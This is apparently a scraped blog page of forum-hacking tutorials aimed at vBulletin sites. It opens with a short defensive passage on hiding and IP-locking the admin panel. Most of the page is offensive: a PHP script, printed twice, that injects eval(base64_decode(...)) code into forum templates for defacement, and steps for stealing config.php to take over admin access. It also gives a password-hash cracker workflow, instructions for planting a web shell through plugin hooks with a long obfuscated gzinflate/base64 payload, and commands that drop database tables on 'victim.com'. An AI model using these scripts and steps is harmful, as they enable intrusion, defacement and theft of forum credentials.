by any users.<br />//    To specify more than one user, separate userids with commas.<br />$config['SpecialUsers']['undeletableusers'] = 'nhập user admin vào đây';       </div></blockquote>Vài lời khuyên là không nên dùng source share sẳn, đừng hack quá nhiều  mod, đặt biệt là những mod không rõ nguồn gốc vì có thể người share mod  sẽ đính kèm shell vào plugin. Đây chỉ là một vài phương pháp tạm thời để  ngăn hacker, tôi đang nghiên cứu thêm giải pháp bảo mật hẹn diệp sau sẽ  post tiếp.<br />Tut được đúc kết từ kinh nghiệm bản thân và tài liệu của các bật tiền nhân đi trước.<br /><br /></div></div></div></div></div></div><hr /><br /><span style="color: red;"><b>phần III</b></span><br /><span style="color: red;">Bài toán 9: Admincp Fake</span><br />Tôi đặt ra một giã thiếc: hacker có được user và pasword của admin.  Hacker sẽ tìm cách vào admincp của bạn để chèn thêm shell hoặc nghịch  phá diễn đàn bạn. Để làm được điều đó hacker phải vào admincp của bạn,  thế thì tại sao không tạo một Admincp giả để đánh lừa những ai ưa tò mò  nhỉ <br />Cách này có thể áp dụng cho những code shop, code news và những code forum khác bạn có thể tùy biến dễ dàng.<br /><blockquote class="tr_bq" style="color: cyan;">Q: Thế thì admincp củ của tôi để đâu nhỉ?<br />A: Bạn hãy rename folder admincp cũ thành bất cứ tên gì miễn sao chỉ có mỗi mình bạn biết, mỗi mình bạn có thể vào <br />Q: Cách này có hạn chế hack không?<br />A: Nó chỉ hạn chế một phần, phần còn lại phụ thuộc vào mức độ bảo mật của hosting bạn.<br />Q: Làm thế nào mà tôi phát hiện quá trình xâm nhập?<br />A: Code sẽ tự động gửi email đến thông báo cho bạn mỗi khi xuất hiện quá trình xâm nhập.</blockquote>Demo run code và đoạn email gửi về<br /><div style="text-align: center;"><img alt="" border="0" height="250" src="http://i306.photobucket.com/albums/nn248/cpanelXI/anh%20tren%20web/secure1.jpg" width="400" /></div>PHP Code:<br /><div class="bbcode_container"><div class="bbcode_quote"><blockquote class="tr_bq" style="color: yellow;"><div class="quote_container">New Security Breach Attempt<br />--------------- SENDER INFORMATION ------------This message was sent to  you by Admincp.IP address is: 117.2.13.17Username: X-ecpanelPassword:  123456       </div></blockquote><span style="color: red;">Bài toán 10: Secure IP<br /></span>Bảo mật admincp luôn là đề tài hot nhất, việc này đã làm cho  nhiều webmaster và cả hacker hao tâm tổn sức. Hum nay tôi xin giới thiệu  với các bạn một giải pháp bảo mật hiệu quả cho admincp:<br />Công dụng của nó ngoài việc đảm bảo chỉ 1 IP được phép login vào  admincp. Còn có thêm tính năng đặt biệt giúp bạn có thể dễ dàng update  IP đó.<br />download :<br /><div class="bbcode_container"><div class="bbcode_quote"><blockquote class="tr_bq"><div class="quote_container"><a href="http://www.mediafire.com/?dn7d3cjwfrc1pra" target="_blank">http://www.mediafire.com/?dn7d3cjwfrc1pra</a>       </div></blockquote></div></div> Cách làm:<br /><blockquote class="tr_bq" style="color: cyan;">- Bạn mở file capnhapip.php, chỉinh lại $pass = '12345'; cho phù hợp.<br />- Mở file Security, chỉnh IP Hosting của bạn.<br />- UP 3 file security.php, checkip.php , listip.txt vào thư mục admincp.<br />- Chmod File listip.txt thành 777.<br />- Mở file global.php và thêm vào đằng sau <?</blockquote>Code:<br /><blockquote class="tr_bq" style="color: yellow;">include("security.php")</blockquote>Cách sử dụng:<br /><blockquote class="tr_bq">- Truy cập vào địa chỉ: <a href="http://yoururl.com/forum/admincp/capnhapip.php" target="_blank">http://yourURL.com/forum/admincp/capnhapip.php</a></blockquote>Nhập mật khẩu của bạn để cập nhập địa chỉ IP mới.<br />Tip: Nên dùng Sock SSh do chính hosting của bạn tạo ra để truy cập vào admincp<br />download:<br /><div class="bbcode_container"><div class="bbcode_quote"><blockquote class="tr_bq"><div class="quote_container"><a href="http://www.mediafire.com/?kmhuyrvipfv16te" target="_blank">http://www.mediafire.com/?kmhuyrvipfv16te</a>       </div></blockquote></div></div></div></div>

[TUT] - Bảo mật cho Forum vBulletin

Phần I Bài viết này Mafia viết thêm dựa trên tài liệu của shacker và một bài viết bằng tiếng Anh viết về bảo mật cho vbb. ok vào đề đi nào!...

AD Issei

Bypass Login vBB

Up file ngang hàng index của forum vbb. Login với user mình muốn (kể cả Admin). <?php echo("?>".gzuncompress(base64_decode(...

AD Issei

<div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><?php<br />/*<br />|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|<br />|.|###################################################|.|<br />|.|#                                                 #|.|<br />|.|#  &lt;==-|AL-MoGrM|-==&gt; - &lt;==-|t0v@HoTmAiL.CoM-==&gt;  #|.|<br />|.|#                                                 #|.|<br />|.|###################################################|.|<br />|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|<br />*/<br /><br />?&gt;<br />&lt;html&gt;&lt;style&gt;<br />input, select, textarea {<br />background-color: #000000;<br />border-style: #7a7c7d;<br />border-width: 1px;<br />font-family: verdana, arial, sans-serif;<br />font-size: 11px;<br />color: #7a7c7d;<br />padding: 0px;<br />}<br />A:link {<br />COLOR:#A2A2A2; TEXT-DECORATION: none<br />}<br />A:visited {<br />COLOR:#A2A2A2; TEXT-DECORATION: none<br />}<br />A:active {<br />COLOR:#787878; TEXT-DECORATION: none<br />}<br />A:hover {<br />color:#8C8C8C;TEXT-DECORATION: none<br />}<br />&lt;/style&gt;<br />&lt;head&gt;<br />&lt;title&gt;Change All pages For Forum&lt;/title&gt;<br />&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt;<br />&lt;/head&gt;<br />&lt;body bgcolor="black" text="#7a7c7d"&gt;<br />&lt;div align="center"&gt;<br />&lt;H2&gt;&lt;u&gt;AL-M&lt;strong&gt;0&lt;/strong&gt;GrM&lt;/u&gt;&lt;/H2&gt;<br />|&lt;a href="mailto:t0v@hotmail.com"&gt;t0v(AT)HoTmaiL(DoT)CoM&lt;/a&gt;| | &lt;a href="http://tryag.com/cc/"&gt;WwW.TrYaG.CoM&lt;/a&gt; |&lt;br&gt;<br />&lt;u&gt;Change All pages For Forum&lt;/u&gt;<br />&lt;br&gt;&lt;br&gt;<br />&lt;?<br /><br />if(empty($_POST['index'])){<br />echo "&lt;FORM method=\"POST\"&gt;<br />host : &lt;INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"&gt;<br />database : &lt;INPUT size=\"15\" value=\"forum_vb\" name=\"database\" type=\"text\"&gt;&lt;br&gt;<br />username : &lt;INPUT size=\"15\" value=\"forum_vb\" name=\"username\" type=\"text\"&gt;<br />password : &lt;INPUT size=\"15\" value=\"vb\" name=\"password\" type=\"password\"&gt;&lt;br&gt;<br />&lt;br&gt;<br />&lt;textarea name=\"index\" cols=\"70\" rows=\"30\"&gt;Set Your Index&lt;/textarea&gt;&lt;br&gt;<br />&lt;INPUT value=\"Set\" name=\"send\" type=\"submit\"&gt;<br />&lt;/FORM&gt;";<br />}else{<br />$localhost = $_POST['localhost'];<br />$database  = $_POST['database'];<br />$username  = $_POST['username'];<br />$password  = $_POST['password'];<br />$index     = $_POST['index'];<br />@mysql_connect($localhost,$username,$password) or die(mysql_error());<br />@mysql_select_db($database) or die(mysql_error());<br /><br />$index=str_replace("\'","'",$index);<br /><br />$set_index  = "{\${eval(base64_decode(\'";<br /><br />$set_index .= base64_encode("echo \"$index\";");<br /><br /><br />$set_index .= "\'))}}{\${exit()}}&lt;/textarea&gt;";<br /><br />$ok=@mysql_query("UPDATE template SET template ='".$set_index."' WHERE title ='spacer_open'") or die(mysql_error());<br /><br />if($ok){<br />echo "!! update finish !!&lt;br&gt;&lt;br&gt;";<br />}<br /><br />}<br /># Footer<br />echo "&lt;strong&gt;SpeciaL GreeTz To :&lt;/strong&gt; &lt;u&gt;Mohajer22&lt;/u&gt;";<br />?></pre></div>

Vbulletin Hacker Shell

Code: <?php /* |.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.| |.|###################################################|.| |.|# ...

AD Issei

Tut + vb_cracker.php:<br /><br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://www.mediafire.com/?89wc4jwk8u2xpjj" target="_blank">http://www.mediafire.com/?89wc4jwk8u2xpjj</a>       </td>  </tr></tbody></table></div>I setup a forum<br />Vb_cracker.php editing file info database information forum created as in config.php<br /><br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;">$ mysql [username] = 'xxx';<br />$ mysql [password] = 'yyy';<br />$ mysql [database] = 'zzz';       </td>  </tr></tbody></table></div>create file: mil-dic.txt same directory as vb_cracker.php<br />I guess the password for this file (each pass a line)<br /><br />Edit the password and hash just to steal the user's database<br /><a href="http://../vb_cracker.php" target="_blank">http://../vb_cracker.php</a> to guess pass locusts disorders

vBulletin Hash Cracker

Tut + vb_cracker.php: Quote: http://www.mediafire.com/?89wc4jwk8u2xpjj I setup a forum Vb_cracker.php editing file info database...

AD Issei

TUT: <br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://www.mediafire.com/?e8ebrdfh9ec4vb8" target="_blank">http://www.mediafire.com/?e8ebrdfh9ec4vb8</a>       </td>  </tr></tbody></table></div>Find Config:<br />When conducting local forum usually located in the config:<br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://victim.com/forum/includes/config.php" target="_blank">http://victim.com/forum/includes/config.php</a>       </td>  </tr></tbody></table></div>When it changes, we conducted ljnk config.php view from the index.php file it does point to the file view the file<br />Often:<br />Index.php> global.php> .... > / Includes / config.php<br />After the database information and then we lift / gain admin<br />Setup Protection Forum If Being Blocked directories:<br />If on:<br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;">/ admincp folder is protect by. htaccess       </td>  </tr></tbody></table></div>Then download a code forum along with the victim Version, conduct  normal setup, then copy code & Yahoo forum run by victim config.php  put your config.php<br />Web Run: <br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://web_my_shel.com/forum/admincp/" target="_blank">http://web_my_shel.com/forum/admincp/</a>       </td>  </tr></tbody></table></div>With its user admin pass was seized<br />Due to local> ip server with> it config.php with database  information was created on the server or not DC. So we will load into  the / admincp its load = / admincp our<br />UPshell FAQ:<br />/ admincp<br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;">> Plugins> Add New Plugin       </td>  </tr></tbody></table></div>Product: Vbulletin<br />Hook Location: faq_complete<br />Title: Remember what is also<br />Plugin PHP Code: Code of a child shell<br />Running: h  <br /><div class="smallfont" style="margin-bottom: 2px;">Quote:</div>ttp://victim.com/forum/faq.php

Find config Setup Forum FAQ Up Shell

TUT: Quote: http://www.mediafire.com/?e8ebrdfh9ec4vb8 Find Config: When conducting local forum usually located in the config: Qu...

AD Issei

File.Sql<br /><br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://www.mediafire.com/?8rings08z55f8s6" target="_blank">http://www.mediafire.com/?8rings08z55f8s6</a>       </td>  </tr></tbody></table></div>Tut<br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://www.mediafire.com/?5f14jr2x7hzwb54" target="_blank">http://www.mediafire.com/?5f14jr2x7hzwb54</a>       </td>  </tr></tbody></table></div>Tool<br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://www.mediafire.com/?0jlagu7zcgbvjcb" target="_blank">http://www.mediafire.com/?0jlagu7zcgbvjcb</a>       </td>  </tr></tbody></table></div>-------------------------------------<br />Drop 2 table:<br /><br />DROP TABLE `datastore`,`plugin`;<br />import 2 file.sql<br />go link<br /><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><a href="http://victim.com/search.php" target="_blank">http://victim.com/search.php</a>

[Video - TUT] Up Shell Via Database Vbb (cPanel X)

File.Sql Quote: http://www.mediafire.com/?8rings08z55f8s6 Tut Quote: http://www.mediafire.com/?5f14jr2x7hzwb54 Tool ...

AD Issei

Flood VBB 3, 4

TUT + Code: http://www.mediafire.com/?imn9egngdeya556

AD Issei

Up Shell Qua Forum

if you cann't login /admincp of victim you can install vBulletin on your hosting of shell install complete ,you copy config.php of victi...

AD Issei

Tool + Tut<br /><br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://www.mediafire.com/?8f2yqy2kj0y506h" target="_blank">http://www.mediafire.com/?8f2yqy2kj0y506h</a>       </td>  </tr></tbody></table></div>Có quyền admincp đối với forum victim<br />Upload file cmd.txt lên 1 hosting<br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://abc.com/cmd.txt" target="_blank">http://abc.com/cmd.txt</a>       </td>  </tr></tbody></table></div>Load AdminCp -> Plugins & Products > Add New Plugin<br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;">Product : Vbullentin<br />Hook Location : faq_complete hoặc ajax_complete<br />Title : Ghi gì cũng được       </td>  </tr></tbody></table></div>Plugin PHP Code : code shell cmd.txt đã bỏ <?php ?><br /><blockquote class="tr_bq">eval(gzinflate(base64_decode("vRhdb9s28K8wghFJjeu2 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 5Iwbe0Y0z+x8QM6B59/AA=="))); </blockquote>Chạy file: WebShell GUI 2 Beta.exe trên máy tính -> điều khiển webshellDòng trên : <br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;">htt://victim.com/forum/faq.php       </td>  </tr></tbody></table></div>hoặc <br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://victim.com/forum/vb/ajax.php" target="_blank">http://victim.com/forum/vb/ajax.php</a>       </td>  </tr></tbody></table></div>Dòng dưới : <br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Quote:</div><table border="0" cellpadding="6" cellspacing="0"><tbody><tr>   <td class="alt2" style="border: 1px inset;"><a href="http://abc.com/cmd.txt" target="_blank">http://abc.com/cmd.txt</a>       </td>  </tr></tbody></table></div><div class="smallfont" style="margin-bottom: 2px;">Quote:</div>Có chức năng tạo file / thư mục / edit file / ........dir

Uploading WebShell VBB

Tool + Tut Quote: http://www.mediafire.com/?8f2yqy2kj0y506h Có quyền admincp đối với forum victim Upload file cmd.txt lên 1 host...

AD Issei

<div id="post_message_608"><div style="text-align: center;"><img alt="" border="0" height="232" id="ncode_imageresizer_container_1" src="http://up.iranblog.com/7/1263836661.jpg" width="400" /></div><br /><br /><br /><br /><br /><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><span style="color: red;"><?php<br />/*<br />|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|<br />|.|###################################################|.|<br />|.|#                                                 #|.|<br />|.|#  <==-|AL-MoGrM|-==> - <==-|t0v@HoTmAiL.CoM-==>  #|.|<br />|.|#                                                 #|.|<br />|.|###################################################|.|<br />|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|<br />*/<br /><br />?><br /><html><style><br />input, select, textarea {<br />background-color: #000000;<br />border-style: #7a7c7d;<br />border-width: 1px;<br />font-family: verdana, arial, sans-serif;<br />font-size: 11px;<br />color: #7a7c7d;<br />padding: 0px;<br />}<br />A:link {<br />COLOR:#A2A2A2; TEXT-DECORATION: none<br />}<br />A:visited {<br />COLOR:#A2A2A2; TEXT-DECORATION: none<br />}<br />A:active {<br />COLOR:#787878; TEXT-DECORATION: none<br />}<br />A:hover {<br />color:#8C8C8C;TEXT-DECORATION: none<br />}<br /></style><br /><head><br /><title>Change All pages For Forum</title><br /><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><br /></head><br /><body bgcolor="black" text="#7a7c7d"><br /><div align="center"><br /><H2><u>AL-M<strong>0</strong>GrM</u></H2><br />|<a href="mailto:t0v@hotmail.com">t0v(AT)HoTmaiL(DoT)CoM</a>| | <a href="http://tryag.com/cc/">WwW.TrYaG.CoM</a> |<br><br /><u>Change All pages For Forum</u><br /><br><br><br /><?<br /><br />if(empty($_POST['index'])){<br />echo "<FORM method=\"POST\"><br />host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"><br />database : <INPUT size=\"15\" value=\"forum_vb\" name=\"database\" type=\"text\"><br><br />username : <INPUT size=\"15\" value=\"forum_vb\" name=\"username\" type=\"text\"><br />password : <INPUT size=\"15\" value=\"vb\" name=\"password\" type=\"password\"><br><br /><br><br /><textarea name=\"index\" cols=\"70\" rows=\"30\">Set Your Index</textarea><br><br /><INPUT value=\"Set\" name=\"send\" type=\"submit\"><br /></FORM>";<br />}else{<br />$localhost = $_POST['localhost'];<br />$database  = $_POST['database'];<br />$username  = $_POST['username'];<br />$password  = $_POST['password'];<br />$index     = $_POST['index'];<br />@mysql_connect($localhost,$username,$password) or die(mysql_error());<br />@mysql_select_db($database) or die(mysql_error());<br /><br />$index=str_replace("\'","'",$index);<br /><br />$set_index  = "{\${eval(base64_decode(\'";<br /><br />$set_index .= base64_encode("echo \"$index\";");<br /><br /><br />$set_index .= "\'))}}{\${exit()}}</textarea>";<br /><br />$ok=@mysql_query("UPDATE template SET template ='".$set_index."' WHERE title ='spacer_open'") or die(mysql_error());<br /><br />if($ok){<br />echo "!! update finish !!<br><br>";<br />}<br /><br />}<br /># Footer<br />echo "<strong>SpeciaL GreeTz To :</strong> <u>Mohajer22</u>";<br />?></span></pre></div></div>

vBulletin hack sql shell

Code: <?php /* |.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.|.| |.|###################################################|.| |.|# ...

Post Labels